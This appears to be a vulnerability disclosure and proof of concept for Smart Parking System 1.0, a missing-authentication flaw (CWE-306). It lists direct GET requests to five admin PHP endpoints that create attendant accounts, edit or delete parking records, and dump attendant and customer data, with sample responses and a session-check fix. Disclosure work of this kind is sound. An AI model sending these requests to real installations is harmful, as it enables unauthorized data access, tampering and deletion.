xmyronn/cve-2026-10243-authProof of concept demonstrating unauthenticated access to critical admin functions in Smart Parking System 1.0, allowing account creation, data manipulation, and PII exposure.
| Field | Details |
|---|
| Product | Smart Parking System |
| Vendor | code-projects.org |
| Version | 1.0 |
| Vulnerability Class | Missing Authentication for Critical Function (CWE-306) |
| CVE ID | Pending |
| CVSS Score | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentication Required | None |
| Affected Files | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
The Smart Parking System 1.0 by code-projects.org fails to enforce authentication on multiple admin-only endpoints. An unauthenticated remote attacker can directly access these endpoints with no session cookie and perform privileged operations including creating attendant accounts, editing and deleting parking records, and viewing all customer PII and booking data.
No credentials, no session token, and no interaction from any legitimate user is required to exploit this vulnerability.
No credentials / no session
↓
Direct GET request to admin endpoints
↓
attendant.php → create rogue attendant accounts
edit.php → read and overwrite any parking record
basic_table.php → delete any parking record
basic_table2.php → dump all attendant PII
admin_request.php → dump all customer emails and booking data
↓
Full admin functionality compromised
Open a fresh browser session with no cookies. Navigate to the application root. The login page is presented confirming no active session exists:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Navigate directly to the attendant registration endpoint:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Result: The full "Add Parking Attendant Details" form loads with fields for first name, last name, mobile number, street, username, and password. An attacker can register a rogue attendant account with system access.
Navigate directly to the parking record edit endpoint:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Result: The "Update Parkings Details" form loads pre-populated with live database values:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
An attacker can overwrite any field and submit to persist changes directly to the database.
Send a direct GET request to the delete endpoint:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Result: The application responds with:
Parking deleted successfully
The record is permanently destroyed in the database. No authentication, no CSRF token, and no confirmation prompt required.
Navigate directly to the attendant listing endpoint:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Result: Full attendant roster returned including names, mobile numbers, and assigned streets:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Navigate directly to the admin booking requests endpoint:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Result: All customer booking records returned including emails, slots, hours, and costs:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| File | Vulnerability |
|---|---|
attendant.php | Unauthenticated attendant account creation |
edit.php | Unauthenticated read/write access to parking records |
basic_table.php | Unauthenticated deletion of parking records |
basic_table2.php | Unauthenticated access to full attendant PII |
admin_request.php | Unauthenticated access to all customer booking data |
Add a session authentication check at the top of every admin-facing PHP file:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}